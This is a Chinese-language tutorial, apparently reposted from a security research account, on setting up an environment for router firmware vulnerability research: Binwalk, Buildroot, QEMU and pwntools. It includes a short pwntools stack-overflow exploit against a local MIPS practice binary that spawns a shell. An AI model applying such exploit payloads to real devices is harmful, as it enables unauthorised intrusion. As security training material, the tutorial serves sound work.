2.2 工具安装
-
Binwalk - 分析路由器固件 -
Buildroot - 编译不同架构设备工具链 -
Qemu - 模拟程序运行 -
Pwntools - 编写漏洞利用脚本框架
2.2.1 系统源
$ sudo vim /etc/apt/sources.list
$ sudo apt-get update
# 默认注释了源码镜像以提高 apt update 速度,如有需要可自行取消注释
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-updates main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-updates main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-backports main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-backports main restricted universe multiverse
# deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-security main restricted universe multiverse
# # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-security main restricted universe multiverse
deb http://security.ubuntu.com/ubuntu/ jammy-security main restricted universe multiverse
# deb-src http://security.ubuntu.com/ubuntu/ jammy-security main restricted universe multiverse
# 预发布软件源,不建议启用
# deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-proposed main restricted universe multiverse
# # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-proposed main restricted universe multiverse
2.2.2 Binwalk安装
$ git clone https://github.com/ReFirmLabs/binwalk.git
$ sudo ./dep.sh #安装binnwalk工具依赖
$ sudo python3 setup.py install
-
缺少python
$ sudo apt-get install python -y
-
出现 Unable to fetch some archives, maybe run apt-get update or try with --fix-missing?
$ sudo apt-get update --fix-missing
-
缺少pip
$ sudo apt-get install python3-pip -y
2.2.3 交叉编译工具链 - Buildroot
下载
Buildroot - Making Embedded Linux Easy
安装
$ sudo apt-get insatll install libncurses5-dev -y
$ tar zxvf buildroot-*.tar.gz
$ cd buldroot*
$ make menuconfig #配置选择嵌入式架构
编译
$ make V=s
交叉编译工具链生成路径
$ ./buildroot/output/host/bin/*-linux-gcc
编译一个简单mips程序
#include <stdio.h>
int main(int argc,char *argv[]){
printf("Hello World!");
return 0;
}
//mips-linux-gcc hello.c -o hello --static
2.2.4 Qemu安装
安装
$ sudo apt-get install qemu-user-static qemu-user -y
运行
$ qemu-mips-static ./hello
2.2.5 Pwntools安装
安装
$ pip install pwntools -i https://pypi.douban.com/simple
使用 - 例子
from pwn import *
name = "./pwnable/Intro/stack_bof_01"
libc_base = 0x7f6e5000 #libc.so.0
gadget_addr = libc_base + 0x6b20 # lw $t9,0($sp) jalr t9
offset = 204
dat_shell = 0x400950
payload = b'A' * offset
payload += p32(gadget_addr)
payload += p32(dat_shell)
p = process(['chroot','.','./qemu-mipsel-static','-L','.',name,payload ])
context.endian = "little"
context.arch = "mips"
p.interactive()
2.3 常见固件模拟仿真框架
-
Firmadyne
-
FirmAE - (Firmadyne改进版)
-
Qiling
3.1 静态分析
工具选择
-
IDA
-
Ghidra
-
Binary Ninja
举例
3.2 动态分析
工具
-
gdb-multiarch
举例
$ qemu-arm-static -g 1234 ./arm_pwn3
4.1 认证和授权漏洞
4.2 服务端口漏洞
4.3 Web界面漏洞
4.4 无线安全漏洞
4.5 物理攻击
原文始发于微信公众号(山石网科安全技术研究院):手把手玩转路由器漏洞挖掘系列 - 基础入门
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论